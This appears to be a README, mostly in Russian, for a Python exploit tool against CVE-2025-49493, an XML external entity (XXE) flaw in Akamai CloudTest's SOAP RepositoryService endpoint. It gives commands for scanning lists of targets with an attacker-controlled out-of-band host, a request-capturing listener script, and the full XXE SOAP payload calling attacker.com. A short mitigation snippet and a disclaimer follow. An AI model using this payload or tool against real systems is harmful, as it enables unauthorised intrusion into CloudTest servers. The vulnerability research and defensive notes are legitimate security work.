
This is a Python-based exploit for CVE-2025-49493, which affects Akamai CloudTest versions before 60 2025.06.02 (12988). The vulnerability allows for XML External Entity (XXE) injection through the SOAP service endpoint.
Это эксплойт на Python для CVE-2025-49493, который затрагивает Akamai CloudTest версий до 60 2025.06.02 (12988). Уязвимость позволяет внедрение XML-внешних сущностей (XXE) через конечную точку SOAP-сервиса.
Уязвимость существует в конечной точке SOAP /concerto/services/RepositoryService, где XML-вход обрабатывается без надлежащей санитизации внешних сущностей. Злоумышленник может создать вредоносные XML-нагрузки для запуска XXE-атак, что может привести к:
Установите необходимые пакеты:
pip install -r requirements.txt
Или установите вручную:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Файл целей, содержащий список хостов Akamai CloudTest
xxe_server XXE-сервер для захвата запросов (например, attacker.com или IP)
optional arguments:
-h, --help показать это справочное сообщение и выйти
--timeout TIMEOUT Тайм-аут запроса в секундах (по умолчанию: 10)
Создайте файл targets.txt с одной целью на строку:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientНастройте простой HTTP-сервер для захвата запросов:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
Эксплойт использует следующую структуру полезной нагрузки XXE:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
Немедленные действия:
Долгосрочные решения:
Безопасная обработка XML:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
Проверка ввода:
Этот инструмент предоставляется только для образовательных и авторизованных целей тестирования. Пользователи несут ответственность за получение надлежащего разрешения перед тестированием любых систем. Авторы не несут ответственности за неправомерное использование или ущерб, причиненный этим инструментом.
Этот проект лицензирован под лицензией MIT — подробности см. в файле LICENSE.